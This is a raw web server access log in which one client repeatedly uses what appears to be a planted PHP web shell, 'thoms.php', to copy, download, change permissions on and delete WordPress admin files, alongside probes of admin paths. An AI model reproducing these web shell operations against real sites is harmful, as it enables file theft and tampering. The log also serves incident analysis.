45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/edit-form-advanced.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupdate.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/link-add.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcss&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/admin-header.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:30 -0400] "GET /thoms.php?dl=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?dl=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=user-new.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=theme-install.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=menu-header.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22251 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=theme-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/site-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/upload.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fupgrade-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=erase-personal-data.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?dl=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/network/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=erase-personal-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?dl=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22049 "https://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22199 "https://163.245.207.76:443/thoms.php?dl=tools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?dl=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=ms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?dl=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=update-core.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:31 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22254 "https://163.245.207.76:443/thoms.php?dl=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?chmod=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22289 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/media-new.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?chmod=edit.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?del=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22285 "https://163.245.207.76:443/thoms.php?del=import.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=term.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=term.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?chmod=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22279 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ftools.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=widgets-form.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/post.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=install-helper.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?chmod=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22261 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=options-reading.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fincludes&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:32 -0400] "GET /thoms.php?chmod=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22212 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fincludes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22289 "https://163.245.207.76:443/thoms.php?chmod=themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-health-info.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fms-themes.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fjs HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=site-health-info.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?del=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/options-permalink.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=ms-options.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=theme-editor.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?dl=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22255 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Fsite-health.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22226 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin&view=theme-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ffreedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ffreedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=upload.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:33 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-admin%2Ffreedoms.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/user/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/edit-tag-form.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?chmod=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:30:34 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=ms-upgrade-network.php&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
